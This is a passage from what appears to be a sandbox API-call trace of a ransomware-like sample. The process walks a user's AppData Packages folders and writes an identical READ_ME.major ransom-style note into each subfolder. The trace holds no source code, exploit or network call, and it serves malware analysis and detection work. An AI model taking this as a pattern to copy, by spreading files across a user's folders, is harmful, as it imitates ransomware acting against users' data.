ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0189.732] FindNextFileW (in: hFindFile=0x6609f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd082fb18, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x814d4f06, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0189.732] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c [0189.733] WriteFile (in: hFile=0x91c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.734] CloseHandle (hObject=0x91c) returned 1 [0189.734] FindNextFileW (in: hFindFile=0x6609f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814fb197, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712cc700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712cc700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0189.734] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c [0189.735] WriteFile (in: hFile=0x91c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.735] CloseHandle (hObject=0x91c) returned 1 [0189.735] FindNextFileW (in: hFindFile=0x6609f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda246550, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xda246550, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xda246550, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0189.735] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c [0189.736] WriteFile (in: hFile=0x91c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.737] CloseHandle (hObject=0x91c) returned 1 [0189.737] FindNextFileW (in: hFindFile=0x6609f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd095f4e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x814d4f06, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0189.737] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x91c [0189.737] WriteFile (in: hFile=0x91c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.738] CloseHandle (hObject=0x91c) returned 1 [0189.738] FindNextFileW (in: hFindFile=0x6609f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd095f4e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x814d4f06, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0189.738] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2348adf0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661070 [0189.738] FindNextFileW (in: hFindFile=0x661070, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2348adf0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0189.738] FindNextFileW (in: hFindFile=0x661070, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0189.738] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920 [0189.756] WriteFile (in: hFile=0x920, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.756] CloseHandle (hObject=0x920) returned 1 [0189.756] FindNextFileW (in: hFindFile=0x661070, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75e25670, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e25670, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0189.757] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920 [0189.757] WriteFile (in: hFile=0x920, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.758] CloseHandle (hObject=0x920) returned 1 [0189.758] FindNextFileW (in: hFindFile=0x661070, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75dff3f8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0189.758] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920 [0189.762] WriteFile (in: hFile=0x920, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.766] CloseHandle (hObject=0x920) returned 1 [0189.766] FindNextFileW (in: hFindFile=0x661070, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75dff3f8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0189.767] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920 [0189.767] WriteFile (in: hFile=0x920, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.768] CloseHandle (hObject=0x920) returned 1 [0189.768] FindNextFileW (in: hFindFile=0x661070, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2348adf0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2348adf0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2348adf0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0189.768] FindNextFileW (in: hFindFile=0x661070, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75dff3f8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0189.768] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920 [0189.770] WriteFile (in: hFile=0x920, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.771] CloseHandle (hObject=0x920) returned 1 [0189.771] FindNextFileW (in: hFindFile=0x661070, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e25670, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0189.771] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920 [0189.772] WriteFile (in: hFile=0x920, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.772] CloseHandle (hObject=0x920) returned 1 [0189.773] FindNextFileW (in: hFindFile=0x661070, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75e25670, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e25670, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e25670, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0189.773] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920 [0189.773] WriteFile (in: hFile=0x920, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.774] CloseHandle (hObject=0x920) returned 1 [0189.774] FindNextFileW (in: hFindFile=0x661070, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75dff3f8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0189.774] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920 [0189.774] WriteFile (in: hFile=0x920, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.775] CloseHandle (hObject=0x920) returned 1 [0189.775] FindNextFileW (in: hFindFile=0x661070, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75dff3f8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75dff3f8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0189.775] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x23fb751e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660930 [0189.775] FindNextFileW (in: hFindFile=0x660930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x23fb751e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0189.776] FindNextFileW (in: hFindFile=0x660930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7544fabf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0189.776] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924 [0189.850] WriteFile (in: hFile=0x924, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.852] CloseHandle (hObject=0x924) returned 1 [0189.852] FindNextFileW (in: hFindFile=0x660930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75403601, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0189.852] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924 [0189.855] WriteFile (in: hFile=0x924, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.856] CloseHandle (hObject=0x924) returned 1 [0189.856] FindNextFileW (in: hFindFile=0x660930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75403601, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0189.856] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924 [0189.857] WriteFile (in: hFile=0x924, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.859] CloseHandle (hObject=0x924) returned 1 [0189.859] FindNextFileW (in: hFindFile=0x660930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75403601, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0189.859] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924 [0189.860] WriteFile (in: hFile=0x924, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.861] CloseHandle (hObject=0x924) returned 1 [0189.861] FindNextFileW (in: hFindFile=0x660930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23fb751e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x23fb751e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x23fd8485, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0189.861] FindNextFileW (in: hFindFile=0x660930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, 